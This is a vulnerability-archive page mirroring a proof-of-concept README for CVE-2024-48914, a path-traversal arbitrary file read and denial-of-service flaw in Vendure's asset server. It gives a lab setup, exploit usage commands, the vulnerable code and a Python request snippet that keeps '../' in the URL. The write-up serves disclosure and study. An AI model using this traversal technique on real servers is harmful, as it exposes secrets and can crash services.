目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-48914 PoC — Vendure 输入验证错误漏洞

来源
关联漏洞
标题: Vendure 输入验证错误漏洞 (CVE-2024-48914)
Description:Vendure是Vendure开源的一个电子商务框架。 Vendure 3.0.5和2.3.3之前版本存在输入验证错误漏洞,该漏洞源于攻击者可以制作一个请求,该请求能够遍历服务器文件系统并检索任意文件的内容,包括敏感数据。
Description
PoC for CVE-2024-48914
介绍
This post is a research article published by [EQSTLab](https://github.com/EQSTLab).


**Thanks to [Rajesh Sharma](https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq), who discovered this vulnerability.**


# CVE-2024-48914
★ CVE-2024-48914 Arbitrary File Read and DoS PoC ★



## Description
CVE-2024-48914 : vendure-ecommerce Arbitrary file read and DoS Vulnerability


description: Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI. Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing `/../`.


## Lab Setup
Download vulnerable version([v3.0.4](https://github.com/vendure-ecommerce/vendure/tree/v3.0.4)):
### Install top-level dependencies
```sh
npm install
``` 


### Build all packages
```sh
npm run build
```


## Setup the database and elasticsearch
**docker-compose.yml**
```
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    container_name: mariadb
    environment:
      MARIADB_DATABASE: vendure-dev
      MARIADB_ROOT_USER: vendure
      MARIADB_ROOT_PASSWORD: password
    volumes:
      - 'mariadb_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_8:
    image: bitnami/mysql:8.0
    container_name: mysql-8
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_5:
    image: bitnami/mysql:5.7
    container_name: mysql-5.7
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  postgres_12:
    image: postgres:12.3
    container_name: postgres_12
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_12_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  postgres_16:
    image: postgres:16
    container_name: postgres_16
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_16_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  # This is the Keycloak service which is used
  # to test the Keycloak auth strategy
  keycloak:
    image: quay.io/keycloak/keycloak
    ports:
      - "9000:8080"
    environment:
      KEYCLOAK_ADMIN: admin
      KEYCLOAK_ADMIN_PASSWORD: admin
    command:
      - start-dev
      - --import-realm
    volumes:
      - keycloak_data:/opt/keycloak/data
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
  redis:
    image: bitnami/redis:7.4.1
    hostname: redis
    container_name: redis
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
    ports:
      - "6379:6379"
volumes:
  postgres_16_data:
    driver: local
  postgres_12_data:
    driver: local
  mariadb_data:
    driver: local
  mysql_data:
    driver: local
  keycloak_data:
    driver: local
  esdata:
    driver: local
```
**Command to execute**
```sh
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
```


## How to use
### Git clone
```sh
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
```


### Install packages
```sh
pip install -r requirements.txt
```


### Command
```sh
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
```


### Output
**CVE-2024-48914.py (Arbitrary File Read)**
![alt text](./assets/1.png)

**CVE-2024-48914.py (DoS Attack)**
![alt text](./assets/2.png)
![alt text](./assets/3.png)


## Analysis
**vendure/packages/asset-server-plugin/src/plugin.ts**
```
 const decodedReqPath = decodeURIComponent(req.path);
        if (imageParamsString !== '') {
            const imageParamHash = this.md5(imageParamsString);
            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
        } else {
            return decodedReqPath;
        }
```

The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js
This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server.


## Python tips
When using python requests module the "../" it stripped from the urlpath. If you use "prepared requests" like below, you can use python requests module without the "../" stripping from the urlpath.
```
def readFile(self) -> None:
        url = f"{self.url}/assets/../{self.file}"
        s = requests.Session()
        req = requests.Request(method='GET' ,url=url)
        prep = req.prepare()
        prep.url = url
        response = s.send(prep, verify=False)
...
```


## Disclaimer
This repository is not intended to be Arbitrary File Read or DoS exploit to CVE-2024-48914. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.


## References
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq
https://github.com/vendure-ecommerce/vendure/tree/v3.0.4
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →